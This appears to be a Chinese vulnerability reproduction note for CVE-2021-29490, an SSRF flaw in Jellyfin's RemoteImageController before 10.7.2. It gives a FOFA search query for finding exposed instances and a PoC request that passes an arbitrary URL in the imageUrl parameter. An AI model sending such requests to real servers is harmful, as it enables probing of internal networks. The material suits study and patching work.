2022-05-24 17:29:00 +08:00
|
|
|
|
# Jellyfin RemoteImageController.cs SSRF漏洞 CVE-2021-29490
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
|
|
Jellyfin RemoteImageController.cs 文件中存在SSRF漏洞，通过构造特殊的请求，探测内网信息
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
Jellyfin < 10.7.2
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## FOFA
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
app="Jellyfin"
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
|
|
在官方的更新文件中，查找到修改的文件
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
官方删除了某个方法
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
function getDisplayUrl(url, apiClient) {
|
|
|
|
|
|
return apiClient.getUrl('Images/Remote', { imageUrl: url });
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
下载漏洞版本源码，查找该接口对应的文件
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
Jellyfin.Api/Controllers/RemoteImageController.cs
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
其中接收的参数为 imageUrl ，后续的代码片段存在SSRF漏洞
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
构造请求POC
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
/Images/Remote?imageUrl=http://www.baidu.com
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
|
